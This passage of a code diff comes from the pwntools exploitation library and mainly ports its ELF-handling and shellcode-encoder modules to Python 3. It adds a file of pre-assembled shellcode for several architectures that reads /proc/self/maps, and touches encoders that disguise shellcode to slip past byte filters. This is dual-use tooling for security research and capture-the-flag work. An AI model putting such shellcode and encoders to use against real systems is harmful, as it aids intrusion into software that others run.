+                data = context._decode(io.recvall(timeout=2))
+        except Exception:
+            log.warn_once("Injected /proc/self/maps code did not execute correctly")
+            return {}
 
-                if not self.native:
-                    ld_prefix = qemu.ld_prefix()
-                    qemu_lib = os.path.exists(os.path.join(ld_prefix, lib))
-                    if qemu_lib:
-                        libs[os.path.realpath(qemu_lib)] = libs.pop(lib)
+        # Swap in the original ELF name
+        data = data.replace(path, self.path)
 
-            self.libs = libs
+        # All we care about in the data is the load address of each file-backed mapping,
+        # or each kernel-supplied mapping.
+        #
+        # For quick reference, the data looks like this:
+        # 7fcb025f2000-7fcb025f3000 r--p 00025000 fe:01 3025685  /lib/x86_64-linux-gnu/ld-2.23.so
+        # 7fcb025f3000-7fcb025f4000 rw-p 00026000 fe:01 3025685  /lib/x86_64-linux-gnu/ld-2.23.so
+        # 7fcb025f4000-7fcb025f5000 rw-p 00000000 00:00 0
+        # 7ffe39cd4000-7ffe39cf6000 rw-p 00000000 00:00 0        [stack]
+        # 7ffe39d05000-7ffe39d07000 r--p 00000000 00:00 0        [vvar]
+        result = {}
+        for line in data.splitlines():
+            if '/' in line:
+                index = line.index('/')
+            elif '[' in line:
+                index = line.index('[')
+            else:
+                continue
 
-        except subprocess.CalledProcessError:
-            self.libs = {}
+            address, _ = line.split('-', 1)
+
+            address = int(address, 0x10)
+            name = line[index:]
+
+            result.setdefault(name, address)
+
+        # Remove the temporary file, best-effort
+        os.unlink(path)
+
+        return result
 
     def _populate_functions(self):
         """Builds a dict of 'functions' (i.e. symbols of type 'STT_FUNC')
@@ -666,14 +841,10 @@ class ELF(ELFFile):
 
             for sym in sec.iter_symbols():
                 # Avoid duplicates
-                if self.functions.has_key(sym.name):
+                if sym.name in self.functions:
                     continue
                 if sym.entry.st_info['type'] == 'STT_FUNC' and sym.entry.st_size != 0:
                     name = sym.name
-                    try:
-                        name = codecs.encode(name, 'latin-1')
-                    except Exception:
-                        pass
                     if name not in self.symbols:
                         continue
                     addr = self.symbols[name]
@@ -792,13 +963,13 @@ class ELF(ELFFile):
         # 'gotsym' is the index of the first GOT symbol
         gotsym = self.dynamic_value_by_tag('DT_MIPS_GOTSYM')
         for i in range(gotsym):
-            symbol_iter.next()
+            next(symbol_iter)
 
         # 'symtabno' is the total number of symbols
         symtabno = self.dynamic_value_by_tag('DT_MIPS_SYMTABNO')
 
         for i in range(symtabno - gotsym):
-            symbol = symbol_iter.next()
+            symbol = next(symbol_iter)
             self._mips_got[i + gotsym] = got
             self.got[symbol.name] = got
             got += self.bytes
@@ -899,12 +1070,12 @@ class ELF(ELFFile):
             sould be able to find it easily.
 
             >>> bash = ELF('/bin/bash')
-            >>> bash.address + 1 == next(bash.search('ELF'))
+            >>> bash.address + 1 == next(bash.search(b'ELF'))
             True
 
             We can also search for string the binary.
 
-            >>> len(list(bash.search('GNU bash'))) > 0
+            >>> len(list(bash.search(b'GNU bash'))) > 0
             True
         """
         load_address_fixup = (self.address - self.load_addr)
@@ -920,7 +1091,7 @@ class ELF(ELFFile):
             zeroed = memsz - seg.header.p_filesz
             offset = seg.header.p_offset
             data   = self.mmap[offset:offset+memsz]
-            data   += '\x00' * zeroed
+            data   += b'\x00' * zeroed
             offset = 0
             while True:
                 offset = data.find(needle, offset)
@@ -966,7 +1137,7 @@ class ELF(ELFFile):
         return None
 
     def _populate_memory(self):
-        load_segments = filter(lambda s: s.header.p_type == 'PT_LOAD', self.iter_segments())
+        load_segments = list(filter(lambda s: s.header.p_type == 'PT_LOAD', self.iter_segments()))
 
         # Map all of the segments
         for i, segment in enumerate(load_segments):
@@ -987,12 +1158,13 @@ class ELF(ELFFile):
                 self.memory.addi(start, stop_data, segment)
 
             if stop_data != stop_mem:
-                self.memory.addi(stop_data, stop_mem, '\x00')
+                self.memory.addi(stop_data, stop_mem, b'\x00')
 
             # Check for holes which we can fill
             if self._fill_gaps and i+1 < len(load_segments):
                 next_start = load_segments[i+1].header.p_vaddr
-                if stop_mem < next_start:
+                
+                if stop_mem < next_start and stop_mem>>(self.bits-1) == next_start>>(self.bits-1):
                     self.memory.addi(stop_mem, next_start, None)
             else:
                 page_end = (stop_mem + 0xfff) & ~(0xfff)
@@ -1052,7 +1224,7 @@ class ELF(ELFFile):
 
             >>> bash = ELF(which('bash'))
             >>> bash.read(bash.address, 4)
-            '\x7fELF'
+            b'\x7fELF'
 
             ELF segments do not have to contain all of the data on-disk
             that gets loaded into memory.
@@ -1072,7 +1244,7 @@ class ELF(ELFFile):
             By default, these come right after eachother in memory.
 
             >>> e.read(e.symbols.A, 2)
-            '\x90\xcc'
+            b'\x90\xcc'
             >>> e.symbols.B - e.symbols.A
             1
 
@@ -1093,33 +1265,33 @@ class ELF(ELFFile):
             >>> e.symbols.B - e.symbols.A
             6
             >>> e.read(e.symbols.A, 2)
-            '\x90\x00'
+            b'\x90\x00'
             >>> e.read(e.symbols.A, 7)
-            '\x90\x00\x00\x00\x00\x00\xcc'
+            b'\x90\x00\x00\x00\x00\x00\xcc'
             >>> e.read(e.symbols.A, 10)
-            '\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
+            b'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
 
             Everything is relative to the user-selected base address, so moving
             things around keeps everything working.
 
             >>> e.address += 0x1000
             >>> e.read(e.symbols.A, 10)
-            '\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
+            b'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
         """
         retval = []
 
         if count == 0:
-            return ''
+            return b''
 
         start = address
         stop = address + count
 
-        overlap = self.memory.search(start, stop)
+        overlap = self.memory.overlap(start, stop)
 
         # Create a new view of memory, for just what we need
         memory = intervaltree.IntervalTree(overlap)
-        memory.chop(None, start)
-        memory.chop(stop, None)
+        memory.chop(-1<<64, start)
+        memory.chop(stop, 1<<64)
 
         if memory.begin() != start:
             log.error("Address %#x is not contained in %s" % (start, self))
@@ -1131,8 +1303,8 @@ class ELF(ELFFile):
         for begin, end, data in sorted(memory):
             length = end-begin
 
-            if data in (None, '\x00'):
-                retval.append('\x00' * length)
+            if data in (None, b'\x00'):
+                retval.append(b'\x00' * length)
                 continue
 
             # Offset within VMA range
@@ -1149,7 +1321,7 @@ class ELF(ELFFile):
 
             retval.append(self.mmap[offset:offset+length])
 
-        return ''.join(retval)
+        return b''.join(retval)
 
     def write(self, address, data):
         """Writes data to the specified virtual address
@@ -1165,10 +1337,10 @@ class ELF(ELFFile):
         Examples:
           >>> bash = ELF(which('bash'))
           >>> bash.read(bash.address+1, 3)
-          'ELF'
-          >>> bash.write(bash.address, "HELO")
+          b'ELF'
+          >>> bash.write(bash.address, b"HELO")
           >>> bash.read(bash.address, 4)
-          'HELO'
+          b'HELO'
         """
         offset = self.vaddr_to_offset(address)
 
@@ -1183,8 +1355,8 @@ class ELF(ELFFile):
 
         >>> bash = ELF(which('bash'))
         >>> bash.save('/tmp/bash_copy')
-        >>> copy = file('/tmp/bash_copy')
-        >>> bash = file(which('bash'))
+        >>> copy = open('/tmp/bash_copy', 'rb')
+        >>> bash = open(which('bash'), 'rb')
         >>> bash.read() == copy.read()
         True
         """
@@ -1198,7 +1370,7 @@ class ELF(ELFFile):
         Retrieve the raw data from the ELF file.
 
         >>> bash = ELF(which('bash'))
-        >>> fd   = open(which('bash'))
+        >>> fd   = open(which('bash'), 'rb')
         >>> bash.get_data() == fd.read()
         True
         """
@@ -1231,7 +1403,7 @@ class ELF(ELFFile):
         Assembles the specified instructions and inserts them
         into the ELF at the specified address.
 
-        This modifies the ELF in-pace.
+        This modifies the ELF in-place.
         The resulting binary can be saved with :meth:`.ELF.save`
         """
         binary = asm(assembly, vma=address)
@@ -1301,11 +1473,11 @@ class ELF(ELFFile):
             return None
 
         address   = dt_strtab.entry.d_ptr + offset
-        string    = ''
-        while '\x00' not in string:
+        string    = b''
+        while b'\x00' not in string:
             string  += self.read(address, 1)
             address += 1
-        return string.rstrip('\x00')
+        return string.rstrip(b'\x00')
 
 
 
@@ -1488,7 +1660,7 @@ class ELF(ELFFile):
     @property
     def packed(self):
         """:class:`bool`: Whether the current binary is packed with UPX."""
-        return 'UPX!' in self.get_data()
+        return b'UPX!' in self.get_data()
 
     @property
     def pie(self):
@@ -1517,12 +1689,13 @@ class ELF(ELFFile):
         return self.dynamic_string(dt_runpath.entry.d_ptr)
 
     def checksec(self, banner=True, color=True):
-        """checksec(banner=True)
+        """checksec(banner=True, color=True)
 
         Prints out information in the binary, similar to ``checksec.sh``.
 
         Arguments:
             banner(bool): Whether to print the path to the ELF binary.
+            color(bool): Whether to use colored output.
         """
         red    = text.red if color else str
         green  = text.green if color else str
@@ -1709,7 +1882,7 @@ class ELF(ELFFile):
             A ``str`` with the string contents (NUL terminator is omitted),
             or an empty string if no NUL terminator could be found.
         """
-        data = ''
+        data = b''
         while True:
             read_size = 0x1000
             partial_page = address & 0xfff
@@ -1720,12 +1893,12 @@ class ELF(ELFFile):
             c = self.read(address, read_size)
 
             if not c:
-                return ''
+                return b''
 
             data += c
 
-            if '\x00' in c:
-                return data[:data.index('\x00')]
+            if b'\x00' in c:
+                return data[:data.index(b'\x00')]
 
             address += len(c)
 
@@ -1767,7 +1940,7 @@ class ELF(ELFFile):
             offset = phoff + phentsize * i
 
             if self.mmap[offset:offset+4] == PT_GNU_STACK:
-                self.mmap[offset:offset+4] = '\x00' * 4
+                self.mmap[offset:offset+4] = b'\x00' * 4
                 self.save()
                 return
 

pwnlib/elf/maps.py

@@ -0,0 +1,27 @@
+from __future__ import absolute_import
+
+# Pre-assembled shellcode for each architecture.
+#
+# This is literally the output of:
+#     shellcraft $ARCH.linux.cat /proc/self/maps
+#     shellcraft $ARCH.linux.syscalls.exit 0
+CAT_PROC_MAPS_EXIT = {
+    'i386':
+        '680101010181342460717201686c662f6d68632f7365682f70726f89e331c931d26a0558cd806a015b89c131d268ffffff7f5e31c0b0bbcd80'
+        '31db6a0158cd80',
+    'amd64':
+        '48b801010101010101015048b86d672e6c607172014831042448b82f70726f632f7365506a02584889e731f6990f0541baffffff7f4889c66a28586a015f990f05'
+        '31ff6a3c580f05',
+    'arm':
+        '617007e3737040e304702de56c7606e32f7d46e304702de5637f02e3737546e304702de52f7007e3727f46e304702de50d00a0e1011021e0022022e00570a0e3000000ef0010a0e10100a0e3022022e00231e0e3bb70a0e3000000ef'
+        '000020e00170a0e3000000ef',
+    'thumb':
+        '004f01e0617073ff4fea07274fea172780b4dff8047001e06c662f6d80b4dff8047001e0632f736580b4dff8047001e02f70726f80b4684681ea010182ea02024ff0050741df05464ff00100294682ea02026ff000434ff0bb0741df'
+        '80ea00004ff0010741df',
+    'mips':
+        '726f093c2f702935f0ffa9af7365093c632f2935f4ffa9af2f6d093c6c662935f8ffa9af8cff193c9e8f393727482003fcffa9aff0ffbd272020a003ffff0528ffff0628a50f02340c010101feff192427202003fcffa2affcffa58fffff0628ff7f073cffffe7346f1002340c010101'
+        'ffff0428a10f02340c010101',
+    'aarch64':
+        'ee058ed24eeeadf26eecc5f26eaeecf28fcd8cd2efa5adf22f0ccef26f0ee0f2ee3fbfa980f39fd2e0ffbff2e0ffdff2e0fffff2e1030091e2031faae3031faa080780d2010000d4e10300aa200080d2e2031faae3ff9fd2e3ffaff2e80880d2010000d4'
+        'e0031faaa80b80d2010000d4',
+}

pwnlib/elf/plt.py

@@ -1,5 +1,6 @@
 """Emulates instructions in the PLT to locate symbols more accurately.
 """
+from __future__ import division
 import logging
 
 from pwnlib.args import args
@@ -162,9 +163,9 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
     try:
         uc.emu_start(pc, until=-1, count=5)
     except U.UcError as error:
-        UC_ERR = (k for k,v in \
+        UC_ERR = next(k for k,v in \
                     U.unicorn_const.__dict__.items()
-                    if error.errno == v and k.startswith('UC_ERR_')).next()
+                    if error.errno == v and k.startswith('UC_ERR_'))
         log.debug("%#x: %s (%s)", pc, error, UC_ERR)
 
     if elf.arch == 'mips':

pwnlib/encoders/amd64/delta.py

@@ -1,4 +1,5 @@
 from __future__ import absolute_import
+from __future__ import division
 
 from pwnlib.encoders.i386.delta import i386DeltaEncoder
 
@@ -15,7 +16,7 @@ class amd64DeltaEncoder(i386DeltaEncoder):
     >>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
     >>> assert not any(c in encoded for c in avoid)
     >>> p = run_shellcode(encoded)
-    >>> p.sendline('echo hello; exit')
+    >>> p.sendline(b'echo hello; exit')
     >>> p.recvline()
     """
     assembly = '''

pwnlib/encoders/arm/alphanumeric/ARM_Instructions.py

@@ -1,4 +1,4 @@
-
+from __future__ import division
 
 # +------------------------------------------------------------------------+ 
 # |                        ARM Instructions                                | 

pwnlib/encoders/arm/alphanumeric/__init__.py

@@ -1,4 +1,5 @@
 from __future__ import absolute_import
+from __future__ import division
 
 import binascii
 import random
@@ -6,7 +7,7 @@ import string
 import sys
 
 from pwnlib.context import context
-from pwnlib.encoders.arm.alphanumeric import builder
+from . import builder
 from pwnlib.encoders.encoder import Encoder
 
 
@@ -40,12 +41,12 @@ class ArmEncoder(Encoder):
         finally:
             random.setstate(state)
 
-        return output
+        return output.encode()
 
 class ThumbEncoder(ArmEncoder):
     arch = 'thumb'
 
-    to_thumb = '\x01\x30\x8f\xe2\x13\xff\x2f\xe1'
+    to_thumb = b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1'
 
     def __call__(self, input, avoid, pcreg=None):
         return super(ThumbEncoder, self).__call__(self.to_thumb + input, avoid, pcreg)

pwnlib/encoders/arm/alphanumeric/alphanum_byte.py

@@ -1,4 +1,7 @@
-import random_funcs
+from __future__ import division
+from __future__ import absolute_import
+
+from . import random_funcs
 
 # +------------------------------------------------------------------------+ 
 # |                    ALPHANUMERIC MANIPULATIONS FUNCTIONS                |